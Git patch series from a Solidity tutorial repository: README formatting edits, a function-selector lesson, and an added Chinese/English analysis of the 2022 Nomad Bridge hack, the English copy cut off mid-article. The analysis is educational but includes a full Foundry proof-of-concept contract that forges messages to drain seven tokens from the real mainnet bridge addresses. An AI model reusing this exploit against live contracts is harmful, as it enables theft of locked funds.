【[文章](https://mirror.xyz/wtfacademy.eth/dSYXG9zF_Vclw58Bgcvsv6HSA0SU6pmBoYLFwLAgVbU)】 +
+ ###工具 + **第1讲:Remix, 最易用的Solidity IDE** 【[代码](https://github.com/AmazingAng/WTFSolidity/tree/main/Topics/Tools/TOOL01_Remix)】 【[文章](https://mirror.xyz/wtfacademy.eth/dSYXG9zF_Vclw58Bgcvsv6HSA0SU6pmBoYLFwLAgVbU)】 -**第2讲:Infura, 连接链下与链上的桥梁** 【[文章](https://github.com/AmazingAng/WTFSolidity/tree/main/Topics/Tools/TOOL02_Infura/readme.md)】 + **第2讲:Infura, 连接链下与链上的桥梁** 【[文章](https://github.com/AmazingAng/WTFSolidity/tree/main/Topics/Tools/TOOL02_Infura/readme.md)】 -**第3讲:Ganache,搭建本地测试网络** 【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL03_Ganache/readme.md)】 + **第3讲:Ganache,搭建本地测试网络** 【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL03_Ganache/readme.md)】 -**第4讲:Alchemy, 区块链API和节点基础设施** 【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL04_Alchemy/readme.md)】 + **第4讲:Alchemy, 区块链API和节点基础设施** 【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL04_Alchemy/readme.md)】 -**第5讲:Dune,使用Dune可视化区块链数据** 【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL05_Dune/readme.md)】 + **第5讲:Dune,使用Dune可视化区块链数据** 【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL05_Dune/readme.md)】 -**第6讲:Hardhat,以太坊开发环境** 【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL06_Hardhat/readme.md)】 + **第6讲:Hardhat,以太坊开发环境** 【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL06_Hardhat/readme.md)】 -**第7讲:Foundry,以Solidity为中心的开发工具包** 【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL07_Foundry)】【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md)】 + **第7讲:Foundry,以Solidity为中心的开发工具包** 【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL07_Foundry)】【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md)】 +
### `链上威胁分析` From 6990a2847fbe7787f295ef925042cf92567ae911 Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Thu, 3 Aug 2023 18:11:03 +0800 Subject: [PATCH 19/46] Update README.md --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 5eaed6e1a..4919960b8 100644 --- a/README.md +++ b/README.md @@ -178,7 +178,10 @@ ## 主题
- ###工具 + + ### 工具 + + **第1讲:Remix, 最易用的Solidity IDE** 【[代码](https://github.com/AmazingAng/WTFSolidity/tree/main/Topics/Tools/TOOL01_Remix)】 【[文章](https://mirror.xyz/wtfacademy.eth/dSYXG9zF_Vclw58Bgcvsv6HSA0SU6pmBoYLFwLAgVbU)】 **第2讲:Infura, 连接链下与链上的桥梁** 【[文章](https://github.com/AmazingAng/WTFSolidity/tree/main/Topics/Tools/TOOL02_Infura/readme.md)】 From 73cc11e15e53b3b17233e88ad5f7fca2d8e17875 Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Thu, 3 Aug 2023 18:11:58 +0800 Subject: [PATCH 20/46] Update README.md --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 4919960b8..da4f4c8ee 100644 --- a/README.md +++ b/README.md @@ -179,7 +179,9 @@ ## 主题
- ### 工具 +

+ 开发工具 +

**第1讲:Remix, 最易用的Solidity IDE** 【[代码](https://github.com/AmazingAng/WTFSolidity/tree/main/Topics/Tools/TOOL01_Remix)】 【[文章](https://mirror.xyz/wtfacademy.eth/dSYXG9zF_Vclw58Bgcvsv6HSA0SU6pmBoYLFwLAgVbU)】 From b75a66849697a9f2658477e2345ed0ae69c566e4 Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Thu, 3 Aug 2023 18:13:54 +0800 Subject: [PATCH 21/46] Update README.md --- README.md | 38 +++++++++++++++++++++++--------------- 1 file changed, 23 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index da4f4c8ee..2fbf723e8 100644 --- a/README.md +++ b/README.md @@ -199,7 +199,12 @@ **第7讲:Foundry,以Solidity为中心的开发工具包** 【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL07_Foundry)】【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md)】
-### `链上威胁分析` +
+ +

+ 链上威胁分析 +

+
**第1讲:工具篇** 【[文章](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug//01_tools/)】 | 【[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/01_tools/en/)】 @@ -212,8 +217,15 @@ **第5讲:漏洞概念验证-下篇** 【[文章](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/05_write_your_own_poc/)】| 【[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/05_write_your_own_poc/en/)】 **第6讲:Rugpull 分析** 【[文章](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/06_Rugpull/)】| 【[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/06_Rugpull/en/)】 +
+ +
+ +

+ NFT +

+
-### `NFT` **第1讲:ERC721库:Address, Strings, Context** 【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/ERC721)】 【[文章](https://mirror.xyz/wtfacademy.eth/PAsIFLAmEoMufZsXlX0NWsVF8DHpHz3OrYlooosy9Ho)】 **第2讲:ERC721相关接口** 【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/ERC721)】 【[文章](https://mirror.xyz/wtfacademy.eth/4mPkMgHViRjx8OM7TAI-M-2oMfRle36ULzqlpC6S7IQ)】 @@ -223,12 +235,19 @@ **第4讲:BAYC主合约和严重漏洞**【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/ERC721/BAYC.sol)】 【[文章](https://mirror.xyz/wtfacademy.eth/_buBOQflWtHDpLbg18Fp8zLe8AmLiPka2y-UhppK_u0)】 **第5讲:Loot**【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/ERC721/5_Loot/Loot.sol)】 【[文章](https://mirror.xyz/wtfacademy.eth/-Bc_vjP9EX-wg6chtUFAz0zm5v-jaIekMlOlqHJ_IhE)】 +
-### `翻译` +
+ +

+ 翻译 +

+
**第1讲:Metamask项目方给Solidity程序员的16个安全建议**【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/Consensys2020)】 【[Mirror](https://mirror.xyz/wtfacademy.eth/ygaDE0QQwn3lfI-AVaw0ZMqHQtWCdzo-XV450j2camc)】 **第2讲:深入EVM**【[文章](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017)】 +
## WTF贡献者
@@ -254,15 +273,4 @@ - [Chainlink Docs](https://docs.chain.link/) - [Safe Contracts](https://github.com/safe-global/safe-contracts) - [DeFi Hack Labs](https://github.com/SunWeb3Sec/DeFiHackLabs) -- [rekt news](https://rekt.news/zh/) - -## Contributors - - - - - - - - - +- [rekt news](https://rekt.news/zh/) \ No newline at end of file From 7e0157c2491f173e15615a9d18f822c9ee3180fd Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Thu, 3 Aug 2023 18:14:24 +0800 Subject: [PATCH 22/46] Update README.md --- README.md | 1 - 1 file changed, 1 deletion(-) diff --git a/README.md b/README.md index 2fbf723e8..671e03f24 100644 --- a/README.md +++ b/README.md @@ -236,7 +236,6 @@ **第5讲:Loot**【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/ERC721/5_Loot/Loot.sol)】 【[文章](https://mirror.xyz/wtfacademy.eth/-Bc_vjP9EX-wg6chtUFAz0zm5v-jaIekMlOlqHJ_IhE)】
-

From 354f373126ce9d096e2b5ac9697686854cab1540 Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Thu, 3 Aug 2023 18:14:44 +0800 Subject: [PATCH 23/46] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 671e03f24..2fbf723e8 100644 --- a/README.md +++ b/README.md @@ -236,6 +236,7 @@ **第5讲:Loot**【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/ERC721/5_Loot/Loot.sol)】 【[文章](https://mirror.xyz/wtfacademy.eth/-Bc_vjP9EX-wg6chtUFAz0zm5v-jaIekMlOlqHJ_IhE)】

+

From db616a8c8e3fb4c177f2ac0625b98915de290629 Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Tue, 15 Aug 2023 01:31:56 +0800 Subject: [PATCH 24/46] Update readme.md --- 29_Selector/readme.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/29_Selector/readme.md b/29_Selector/readme.md index 58e95e02d..753d7010f 100644 --- a/29_Selector/readme.md +++ b/29_Selector/readme.md @@ -20,14 +20,14 @@ tags: ----- -## `selector` +## 函数选择器 当我们调用智能合约时,本质上是向目标合约发送了一段`calldata`,在remix中发送一次交易后,可以在详细信息中看见`input`即为此次交易的`calldata` ![tx input in remix](./img/29-1.png) 发送的`calldata`中前4个字节是`selector`(函数选择器)。这一讲,我们将介绍`selector`是什么,以及如何使用。 -### `msg.data` +### msg.data `msg.data`是`solidity`中的一个全局变量,值为完整的`calldata`(调用函数时传入的数据)。 在下面的代码中,我们可以通过`Log`事件来输出调用`mint`函数的`calldata`: @@ -53,7 +53,7 @@ tags: ``` 其实`calldata`就是告诉智能合约,我要调用哪个函数,以及参数是什么。 -### `method id`、`selector`和`函数签名` +### method id、selector和函数签名 `method id`定义为`函数签名`的`Keccak`哈希后的前4个字节,当`selector`与`method id`相匹配时,即表示调用该函数,那么`函数签名`是什么? 其实在第21讲中,我们简单介绍了函数签名,为`"函数名(逗号分隔的参数类型)"`。举个例子,上面代码中`mint`的函数签名为`"mint(address)"`。在同一个智能合约中,不同的函数有不同的函数签名,因此我们可以通过函数签名来确定要调用哪个函数。 @@ -71,7 +71,7 @@ tags: ![method id in remix](./img/29-2.png) -### 使用`selector` +### 使用selector 我们可以利用`selector`来调用目标函数。例如我想调用`mint`函数,我只需要利用`abi.encodeWithSelector`将`mint`函数的`method id`作为`selector`和参数打包编码,传给`call`函数: ```solidity From 47b6e462d566f580c15344964bf9b7303ef65100 Mon Sep 17 00:00:00 2001 From: SunWeb3Sec <107249780+SunWeb3Sec@users.noreply.github.com> Date: Thu, 7 Sep 2023 13:47:19 +0800 Subject: [PATCH 25/46] Create readme.md --- .../07_analysis_bridge/readme.md | 306 ++++++++++++++++++ 1 file changed, 306 insertions(+) create mode 100644 Topics/Onchain_debug/07_analysis_bridge/readme.md diff --git a/Topics/Onchain_debug/07_analysis_bridge/readme.md b/Topics/Onchain_debug/07_analysis_bridge/readme.md new file mode 100644 index 000000000..a122da55b --- /dev/null +++ b/Topics/Onchain_debug/07_analysis_bridge/readme.md @@ -0,0 +1,306 @@ +# OnChain Transaction Debugging: 7. Nomad Bridge 跨鏈橋事件分析 (2022/08) + +作者:[gmhacker.eth](https://twitter.com/realgmhacker) + +翻譯: [Spark](https://twitter.com/SparkToday00) + +## 事件概览(Introduction) + 2022年8月1日,Nomad Bridge 遭到黑客攻击。1.9亿美元的锁定资产在此次事件中被盗。在第一名黑客成功攻击之后,引来里许多来自黑暗森林的旅客的模仿攻击,最终导致了一个严重的,攻击源众多的安全事件。 + + 根本原因是在Nomad的一个代理合约的例行升级中,将零哈希值标记为可信根,这使得任意消息都可以自动得到证明。黑客利用这个漏洞来欺骗桥合约,并解锁资金。第一个[攻击交易](https://dashboard.tenderly.co/tx/mainnet/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460) 从桥合约获利100 WBTC,约合230万美元。 + + 此次攻击中,攻击者无需进行闪电贷款或与其他DeFi协议进行其他复杂的交互。攻击的过程仅仅调用了合约上的一个函数,并以正确的消息输入进而向协议的流动性发动攻击。攻击交易的简单和可重放性导致其他人也收集了部分非法利润让整个事件变得更糟。 + + 正如[Rekt News](https://rekt.news/nomad-rekt/)提到的,“诚如DeFi的游戏规则,这次黑客攻击几乎是无门槛的,任何人都可以加入进来。” + +## 背景知识(Background) +Nomad是一个跨链交互应用,允许在以太坊、Moonbeam和其他链之间进行代币操作。发送到Nomad合约的消息经过验证后,通过离线代理机制传输到其他链上,遵循乐观验证(optimistic verification)机制。 + +正如大多数跨链桥接协议一样,Nomad的代币跨链是通过在一侧锁定代币,另一侧铸造代币,以完成在不同的链上转移价值。因为这些代表代币最终可以被烧毁以解锁原始资金(即跨链回到代币的原生链),它们起到借据的作用,具有与原始ERC-20代币相同的经济价值。正因如此,跨链项目在复杂的智能合约内积累了大量资金,使得黑客们垂涎三尺。 + +![](https://miro.medium.com/v2/resize:fit:1400/0*-reF-Ys6qVUWwnfJ) +跨链代币锁定与铸造流程,参考:[MakerDAO 博客](https://blog.makerdao.com/what-are-blockchain-bridges-and-why-are-they-important-for-defi/) + +在Nomad项目中,利用叫做**Replica**的合约验证Merkle树结构中的消息, 这个合约在各个链上都有部署。项目中的其他合约都依靠这个合约验证输入的消息。一旦消息被验证,它就会被存储在Merkle树中,并生成一个新的承诺树根,并在随后确认、处理。 + +## 根本原因(Root Cause) +在Nomad桥有了大致了解之后,我们可以深入到实际的智能合约代码中,探索导致2022年8月黑客攻击的根本原因。要做到这一点,我们需要详细了解**Replica**合约。 + +*Replica.sol 中 `process` 函数[代码片段](https://gist.github.com/gists-immunefi/f8ef00be9e1c5dd4d879a418966191e0/raw/8fb8fd808b59eca9ca51df98aef65d7ce4c805e6/Nomad%20Hack%20Analysis%201.sol)* + +```solidity= +function process(bytes memory _message) public returns (bool _success) { + // ensure message was meant for this domain + bytes29 _m = _message.ref(0); + require(_m.destination() == localDomain, "!destination"); + // ensure message has been proven + bytes32 _messageHash = _m.keccak(); + require(acceptableRoot(messages[_messageHash]), "!proven"); + // check re-entrancy guard + require(entered == 1, "!reentrant"); + entered = 0; + // update message status as processed + messages[_messageHash] = LEGACY_STATUS_PROCESSED; + // call handle function + IMessageRecipient(_m.recipientAddress()).handle( + _m.origin(), + _m.nonce(), + _m.sender(), + _m.body().clone() + ); + // emit process results + emit Process(_messageHash, true, ""); + // reset re-entrancy guard + entered = 1; + // return true + return true; +} +``` + + +Replica合约中的`process`函数负责将消息发送到最终接收方。只有当输入消息被验证的情况下函数才会成功执行,这意味着传入的消息在调用`process`之前已经被添加到Merkle树中,并拥有了可被接受和可信赖的根(root)。这个验证(第36行)利用`acceptableRoot` view 函数在已验证根的映射(`mapping`)中查询传入消息的哈希值从而判断消息是否合法。 + +*Replica.sol 中 `initialize` 函数[代码片段](https://gist.github.com/gists-immunefi/4792c4bb10d3f73648b4b0f86e564ac9/raw/1f70cc5490bf2383d42eeec3fa06a74d7be1a66c/Nomad%20Hack%20Analysis%202.sol)* +```solidity= +function initialize( + uint32 _remoteDomain, + address _updater, + bytes32 _committedRoot, + uint256 _optimisticSeconds +) public initializer { + __NomadBase_initialize(_updater); + // set storage variables + entered = 1; + remoteDomain = _remoteDomain; + committedRoot = _committedRoot; + // pre-approve the committed root. + confirmAt[_committedRoot] = 1; + _setOptimisticTimeout(_optimisticSeconds); +} +``` + + + +当升级代理合约的实现合约时,实现合约会执行一次性的初始化函数,该函数将设置一些初始状态值。可以看到,在[6月21日Nomad部署新的实现合约](https://etherscan.io/tx/0xaf05a8c0b2d8c9e795329ab6e05044d016ee9a355d6eb49b082ce0789363f715),并且在之后[调用initialize函数](https://etherscan.io/tx/0x53fd92771d2084a9bf39a6477015ef53b7f116c79d98a21be723d06d79024cad)初始化实现合约,最后对存储实现合约地址的合约进行[例行升级](https://etherscan.io/tx/0x7bccd64f4c4d5f6f545c2edf904857e6ddb460532fc0ac7eb5ac175cd21e56b1),在调用initialize函数初始化合约时,0x00被设置为预批准的根,被存储在`confirmAt`映射中,这也是本次事件的开端。 + +回到`process`函数,我们可以看到,验证过程依赖于检查消息映射上的消息哈希值,并将该消息标记为已处理,这样攻击者就不能重复使用同一消息。 + +值得一提的是,在EVM智能合约存储中,所有位置(`slot`)初始值为0,也就是说当我们读取一个未使用的存储位置时EVM总会返回零值(0x00)而非异常。同理对于映射(`mapping`), 当查询不存在的消息哈希值时就会返回零值,这个值将被传给`acceptableRoot`函数,由于在4月21日的升级中0x00被设置成了可信的根,该函数就会返回true。接着这个消息被标记为已处理,但是任何人都可以通过简单更改消息内容产生新的消息并进行模仿攻击。 + +输入的消息往往根据各种不同的参数类型进行编码。对于从桥上解锁资金的消息,其中之一便是收件人地址。因此,在第一个攻击者执行了一个[成功的交易后](https://dashboard.tenderly.co/tx/mainnet/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460),任何了解解码消息的人都可以简单地更改收件人地址并进行重复攻击交易,因为是使用不同的消息,所以新的攻击不会受到先前攻击的影响从而让新地址获利。 + +## 攻击复现(Proof of Concept) +现在我们理解了为什么Nomad会被攻击,是时候尝试复现本次攻击了。我们将根据不同的代币去创建相应的攻击消息(message),然后通过 `Replica`合约中的`process`函数盗取相应资产。 + +在这里我们选用带有存档功能的RPC服务, 例如[Ankr的免费服务](https://www.ankr.com/rpc/eth/),拷贝15259100 block时的状态(攻击发生前一个block)。 + +我们的复现攻击将根据以下步骤: +1. 选择一个给定的ERC-20代币,并检查Nomad ERC-20桥梁合约的余额。 +2. 生成一个带有正确参数的消息来解锁资金,并将攻击者地址作为接收者,全额代币余额作为要解锁的资金量。 +3. 调用`process`函数以获取代币。 +4. 针对不同代币重复以上步骤盗取资金。 + +余下的篇幅,我们将使用Foundry分步完成攻击复现. + +## 攻击(The Attack) + +*[初始的攻击合约](https://gist.githubusercontent.com/gists-immunefi/4305df38623ddcaa11812a9c186c73ac/raw/e960b16512343fb3d6f3d8821486e7fb1452952c/Nomad%20Hack%20Analysis%203.sol)* +```solidity +pragma solidity ^0.8.13; + +import "@openzeppelin/token/ERC20/ERC20.sol"; + +interface IReplica { + function process(bytes memory _message) external returns (bool _success); +} + +contract Attacker { + address constant REPLICA = 0x5D94309E5a0090b165FA4181519701637B6DAEBA; + address constant ERC20_BRIDGE = 0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3; + + // tokens + address [] public tokens = [ + 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, // WBTC + 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, // WETH + 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, // USDC + 0xdAC17F958D2ee523a2206206994597C13D831ec7, // USDT + 0x6B175474E89094C44Da98b954EedeAC495271d0F, // DAI + 0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0, // FRAX + 0xD417144312DbF50465b1C641d016962017Ef6240 // CQT + ]; + + function attack() external { + for (uint i = 0; i < tokens.length; i++) { + address token = tokens[i]; + uint256 amount_bridge = IERC20(token).balanceOf(ERC20_BRIDGE); + + bytes memory payload = genPayload(msg.sender, token, amount_bridge); + bool success = IReplica(REPLICA).process(payload); + require(success, "Failed to process the payload"); + } + } + + function genPayload( + address recipient, + address token, + uint256 amount + ) internal pure returns (bytes memory) {} +} +``` + +攻击合约的入口是`attack`函数, 它包含一个简单的循环来循环查询代币桥地址(ERC20_BRIDGE)的不同代币余额。`ERC20_BRIDGE`指代Nomad ERC20 桥合约,也就是所有锁定资产的存放地址。 + +在这之后我们根据余额来创建用来攻击的消息,并作为输入传给`IReplica(REPLICA).process`函数。这个函数将会把我们伪造的信息传递给相应的后端合约,进而触发解锁和转移资产的请求,最终将桥玩弄于鼓掌之间。 + +*产生符合条件的消息* +```solidity= +contract Attacker { + address constant BRIDGE_ROUTER = 0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d; + + // Nomad domain IDs + uint32 constant ETHEREUM = 0x657468; // "eth" + uint32 constant MOONBEAM = 0x6265616d; // "beam" + + function genPayload( + address recipient, + address token, + uint256 amount + ) internal pure returns (bytes memory payload) { + payload = abi.encodePacked( + MOONBEAM, // Home chain domain + uint256(uint160(BRIDGE_ROUTER)), // Sender: bridge + uint32(0), // Dst nonce + ETHEREUM, // Dst chain domain + uint256(uint160(ERC20_BRIDGE)), // Recipient (Nomad ERC20 bridge) + ETHEREUM, // Token domain + uint256(uint160(token)), // token id (e.g. WBTC) + uint8(0x3), // Type - transfer + uint256(uint160(recipient)), // Recipient of the transfer + uint256(amount), // Amount + uint256(0) // Optional: Token details hash + // keccak256( + // abi.encodePacked( + // bytes(tokenName).length, + // tokenName, + // bytes(tokenSymbol).length, + // tokenSymbol, + // tokenDecimals + // ) + // ) + ); + } +} +``` + +在生成消息的工程中要注意不同参数的编码以确保Nomad的协议可以正确解码。值得一提的是我们需要制定消息的转发路径-桥路由合约和ERC20桥地址。同时我们需要用`0x3`作为类型来表示代币转移。 + +最后,我们要确定可以带给我们利润的参数-代币地址,转移金额和接收者。正如我们之前所提到的,这将创建对于`Replica`合约全新的信息。 + +不可思议的是,就算加上一些和Foundry相关的日志信息,整个PoC的代码也只有87行。通过运行以上复现代码,我们可以获得以下资金: + +- 1,028 WBTC +- 22,876 WETH +- 87,459,362 USDC +- 8,625,217 USDT +- 4,533,633 DAI +- 119,088 FXS +- 113,403,733 CQT + +## 总结(Conclusion) + +Nomad Bridge攻击可以说是2022年最大的黑客攻击之一。这次攻击再次向我们强调了协议安全的重要性。在这个特殊的案例中,我们已经了解到一个常规的合约升级是如何产生一个可怕的漏洞并危及所有锁定的资金。此外,在开发过程中,人们需要注意存储槽(slot)的默认值为0,特别是在涉及映射(mapping)的逻辑中。对于这种可能导致漏洞的常见值,z最好设置一些单元测试以避免潜在的危险。 + +值得一提的是,一些参与模仿攻击的账户将资金返还给了Nomad项目,项目方也在计划[重新上线](https://medium.com/nomad-xyz-blog/nomad-bridge-relaunch-guide-3a4ef6624f90)并将资产返还给受到影响的用户。如果您持有Nomad在攻击中丢失的资产,请将它返还给[Nomad recovery 钱包](https://etherscan.io/address/0x94a84433101a10aeda762968f6995c574d1bf154)。 + +正如之前提到的,这次攻击远比看起来更加简单,而且很有可能在一个交易里盗取所有资金,以下是完整的PoC代码(包括一些Foundry日志): + +*[完整的PoC代码](https://gist.githubusercontent.com/gists-immunefi/2bdffe6f9683c9b3ab810e1fb7fe4aff/raw/df16e8103c6c3b38d412e0320cda37da9a5a9e7c/Nomad%20Hack%20Analysis%205.sol)* +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.13; + +import "@openzeppelin/token/ERC20/ERC20.sol"; +import "forge-std/console.sol"; + +interface IReplica { + function process(bytes memory _message) external returns (bool _success); +} + +contract Attacker { + address constant REPLICA = 0x5D94309E5a0090b165FA4181519701637B6DAEBA; + address constant BRIDGE_ROUTER = 0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d; + address constant ERC20_BRIDGE = 0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3; + + // Nomad domain IDs + uint32 constant ETHEREUM = 0x657468; // "eth" + uint32 constant MOONBEAM = 0x6265616d; // "beam" + + // tokens + address [] public tokens = [ + 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, // WBTC + 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, // WETH + 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, // USDC + 0xdAC17F958D2ee523a2206206994597C13D831ec7, // USDT + 0x6B175474E89094C44Da98b954EedeAC495271d0F, // DAI + 0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0, // FRAX + 0xD417144312DbF50465b1C641d016962017Ef6240 // CQT + ]; + + function attack() external { + for (uint i = 0; i < tokens.length; i++) { + address token = tokens[i]; + uint256 amount_bridge = ERC20(token).balanceOf(ERC20_BRIDGE); + + console.log( + "[*] Stealing", + amount_bridge / 10**ERC20(token).decimals(), + ERC20(token).symbol() + ); + console.log( + " Attacker balance before:", + ERC20(token).balanceOf(msg.sender) + ); + + // Generate the payload with all of the tokens stored on the bridge + bytes memory payload = genPayload(msg.sender, token, amount_bridge); + + bool success = IReplica(REPLICA).process(payload); + require(success, "Failed to process the payload"); + + console.log( + " Attacker balance after: ", + IERC20(token).balanceOf(msg.sender) / 10**ERC20(token).decimals() + ); + } + } + + function genPayload( + address recipient, + address token, + uint256 amount + ) internal pure returns (bytes memory payload) { + payload = abi.encodePacked( + MOONBEAM, // Home chain domain + uint256(uint160(BRIDGE_ROUTER)), // Sender: bridge + uint32(0), // Dst nonce + ETHEREUM, // Dst chain domain + uint256(uint160(ERC20_BRIDGE)), // Recipient (Nomad ERC20 bridge) + ETHEREUM, // Token domain + uint256(uint160(token)), // token id (e.g. WBTC) + uint8(0x3), // Type - transfer + uint256(uint160(recipient)), // Recipient of the transfer + uint256(amount), // Amount + uint256(0) // Optional: Token details hash + // keccak256( + // abi.encodePacked( + // bytes(tokenName).length, + // tokenName, + // bytes(tokenSymbol).length, + // tokenSymbol, + // tokenDecimals + // ) + // ) + ); + } +} +``` From de96947af2da866d99820798dd1e681e5174bbdb Mon Sep 17 00:00:00 2001 From: SunWeb3Sec <107249780+SunWeb3Sec@users.noreply.github.com> Date: Thu, 7 Sep 2023 13:47:59 +0800 Subject: [PATCH 26/46] Create readme.md --- .../07_analysis_bridge/en/readme.md | 334 ++++++++++++++++++ 1 file changed, 334 insertions(+) create mode 100644 Topics/Onchain_debug/07_analysis_bridge/en/readme.md diff --git a/Topics/Onchain_debug/07_analysis_bridge/en/readme.md b/Topics/Onchain_debug/07_analysis_bridge/en/readme.md new file mode 100644 index 000000000..9acb60a8d --- /dev/null +++ b/Topics/Onchain_debug/07_analysis_bridge/en/readme.md @@ -0,0 +1,334 @@ +# OnChain Transaction Debugging: 7. Hack Analysis: Nomad Bridge (2022/08) + +### Author: [gmhacker.eth](https://twitter.com/realgmhacker) + +## Introduction +The Nomad bridge was hacked on August 1st, 2022, and $190m of locked funds were drained. After one attacker first managed to exploit the vulnerability and struck gold, other dark forest travelers jumped to replay the exploit in what eventually became a colossal, “crowdsourced” hack. + +A routine upgrade on the implementation of one of Nomad’s proxy contracts marked a zero hash value as a trusted root, which allowed messages to get automatically proved. The hacker leveraged this vulnerability to spoof the bridge contract and trick it to unlock funds. + +That first successful transaction alone, which can be seen [here](https://dashboard.tenderly.co/tx/mainnet/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460), drained 100 WBTC from the bridge–around $2.3m at the time. There was no need for a flashloan or other complex interaction with another DeFi protocol. The attack simply called a function on the contract with the right message input, and the attacker continued throwing blows at the protocol’s liquidity. + +Unfortunately, the simple and replayable nature of the transaction led others to collect some of the illicit profit. As [Rekt News](https://rekt.news/nomad-rekt/) put it, “Staying true to DeFi Principles, this hack was permissionless — anyone could join in.” + +In this article, we will be analyzing the exploited vulnerability in the Nomad bridge’s Replica contract, and then we’ll create our own version of the attack to drain all the liquidity in one transaction, testing it against a local fork. You can check the full PoC [here](https://github.com/immunefi-team/hack-analysis-pocs/tree/main/src/nomad-august-2022). + +This article was written by [gmhacker.eth](https://twitter.com/realgmhacker), an Immunefi Smart Contract Triager. + +## Background + +Nomad is a cross-chain communication protocol allowing, among other things, bridging of tokens between Ethereum, Moonbeam and other chains. Messages sent to Nomad contracts are verified and transported to other chains through off-chain agents, following an optimistic verification mechanism. + +Like most cross-chain bridging protocols, Nomad’s token bridge is able to transfer value through different chains by a process of locking tokens on one side and minting representatives on the other. Because those representative tokens can eventually be burned to unlock the original funds (i.e. bridging back to the token’s native chain), they function as IOUs and have the same economic value as the original ERC-20s. That aspect of bridges in general leads to a big accumulation of funds inside a complex smart contract, rendering it a much-desired target for hackers. + +
+Cover +
+ +Locking & minting process, src: [MakerDAO’s blog](https://blog.makerdao.com/what-are-blockchain-bridges-and-why-are-they-important-for-defi/) + +In Nomad’s case, a contract called `Replica`, which is deployed on all supported chains, is responsible for validating messages in a Merkle tree structure. Other contracts in the protocol rely on this for authentication of inbound messages. Once a message is validated, it is stored in the Merkle tree, generating a new committed tree root which gets confirmed to be processed. + +## Root Cause + +Having a rough understanding of what the Nomad bridge is, we can dive into the actual smart contract code to explore the root cause vulnerability that was leveraged in the various transactions of the August 2022 hack. To do that, we need to go deeper into the `Replica` contract. + +``` + function process(bytes memory _message) public returns (bool _success) { + // ensure message was meant for this domain + bytes29 _m = _message.ref(0); + require(_m.destination() == localDomain, "!destination"); + // ensure message has been proven + bytes32 _messageHash = _m.keccak(); + require(acceptableRoot(messages[_messageHash]), "!proven"); + // check re-entrancy guard + require(entered == 1, "!reentrant"); + entered = 0; + // update message status as processed + messages[_messageHash] = LEGACY_STATUS_PROCESSED; + // call handle function + IMessageRecipient(_m.recipientAddress()).handle( + _m.origin(), + _m.nonce(), + _m.sender(), + _m.body().clone() + ); + // emit process results + emit Process(_messageHash, true, ""); + // reset re-entrancy guard + entered = 1; + // return true + return true; + } +``` +
